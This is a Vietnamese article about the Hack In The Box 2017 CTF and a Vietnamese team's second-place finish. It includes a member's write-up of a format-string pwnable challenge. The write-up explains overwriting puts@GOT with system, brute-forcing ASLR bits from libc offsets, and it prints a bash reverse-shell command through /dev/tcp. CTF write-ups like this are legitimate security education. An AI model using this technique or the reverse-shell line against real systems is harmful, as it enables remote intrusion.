Cuộc thi an ninh mạng “Hack In The Box” CTF 2017

HITB là một trong những cuộc thi CTF (Capture the Flag) có uy tín rất cao trong lĩnh vực an ninh mạng, được tổ chức vào ngày 24 – 25/8 tại Singapore. Mặc dù gặp phải sự canh tranh khốc liệt từ các đại diện của Trung Quốc, Ukraina, Đức… Nhóm Injocker10K của nhóm Vnsecurity (Việt Nam) đã xuất sắc giành vị trí thứ 2 chung cuộc.

Với sự góp mặt của 28 đội onsite cùng 157 đội online, người chơi sẽ phải vượt qua các thử thách về pwnable, web penetration, crypto, mobile, MISC (forensic, network analysis)…Anh Lê Huy Hoàng, thành viên của team Injocker10K chia sẻ: “Năm nay tôi tham gia HITB CTF cùng team Injocker10K. Nhiệm vụ của tôi là làm các bài ở chủ đề misc, mobile và hỗ trợ đồng đội các bài ở các chủ đề khác”.

Anh Hoàng hiện đang công tác tại Vietsunshine trong lĩnh vực kiểm thử xâm nhập và đánh giá bảo mật, anh cho biết thêm: “HITB lần này có quy mô lớn, với nhiều đội mạnh đã có thành tích cao trong các kỳ trước. Khó khăn đầu tiên mà chúng tôi gặp phải là cuộc thi diễn ra trong 30 tiếng, các đội chơi cần phân bổ thời gian nghỉ ngơi hợp lý. Ngoài ra, không như những năm trước, năm nay mỗi đội chơi chỉ có 3 người thay vì 4 người, nên các đội chơi phải rất tập trung, tỉnh táo để không bị mắc kẹt vào các bẫy trong thử thách”. Kết thúc cuộc thi Injocker10K  đã xuất sắc giành vị trí thứ 2, chỉ sau 1 đại diện rất mạnh đến từ Đức.

 

Tại Việt Nam cũng đã có nhiều cuộc thi tương tự như SVATTT (Vnisa), MeePwnCTF (MeePwn Team), WhiteHat (BKAV), MatesCTF (Viettel) cho các bạn chưa có điều kiện tham gia ở nước ngoài có thể luyện tập, thử thách bản thân.

“Pwnable là một mảng mà tôi rất thích, trong đó có 1 bài format string tôi thấy cũng khá thú vị”, dưới đây là bài chia sẻ của anh Hoàng về một ‘chướng ngại vật’ mà anh cùng đồng đội đã xuất sắc vượt qua.

Challenge:

 

Hướng dẫn:

Tải về 2 file đính kèm: libc.so, simplefmt

Xem xét file executable simplefmt:

Mô tả lại bằng mã giả C:

Phát hiện lỗi format string tại snprintf(result, 0x80, format)

Format nằm trên heap => không thể truyền địa chỉ để ghi thông qua chuỗi format.

 read(0, len, 0xF) có len nằm trên stack mà chương trình cho đọc tới 16 bytes (0xF) =>Lợi dụng hàm này để ghi 1 địa chỉ lên stack.

Trước khi thực hiện format string chương trình đóng toàn bộ stdin, stdout và stderr nên không thể đưa chương trình trở lại main nhằm thực hiện tiếp format string. Vì vậy cần thực hiện format string 1 lần.

Sau khi format string chương trình gọi hàm puts với tham số là kết quả của format string.

Hướng giải quyết sẽ là ghi đè lên puts@got để đổi puts thành địa chỉ của system.

  • Thực hiện remote exploit nên không biết địa chỉ chính xác của system trên server, ngoài ra mặc định server bật ASLR (Address space layout randomization).
  • Xem xét libc ta thấy puts nằm tại offset: 0x06F690, system nằm tại offset: 0x045390

1 bytes cuối của puts và system giống nhau ta không cần ghi đè lại. Chỉ cần ghi đè 2 bytes trong đó có 4 bits cuối của 2 bytes là 0011 (0x3) vì vậy sẽ cần bruteforce 12 bits còn lại tương ứng với 1/4096 (2^12) cơ hội cho mỗi lần thử.

Giả định ta đã ghi được puts thành system thì tham số command sẽ là chuỗi result, như vậy chỉ cần thêm command ở đầu format thì khi thực hiện hàm snprintf chuỗi này sẽ nằm ở đầu chuỗi result.

Input 1:

Địa chỉ puts@got+1 (0x601019) nằm trên stack.

Input 2:

Như vậy có thể gọi được hàm system với command là ‘/bin/bash -c “bash -i >& /dev/tcp/127.0.0.1/4444 0>&1”;’

Kết quả:

 

Toàn bộ script exploit:

 

Để tiện debug, sử dụng IDA Plugin Keypatch (http://www.keystone-engine.org/keypatch/) để patch lại các hàm như alarm, close thành nop.

Thông tin về sự kiện: http://gsec.hitb.org/sg2017/capture-the-flag/



Để lại một bình luận

This site uses Akismet to reduce spam. Learn how your comment data is processed.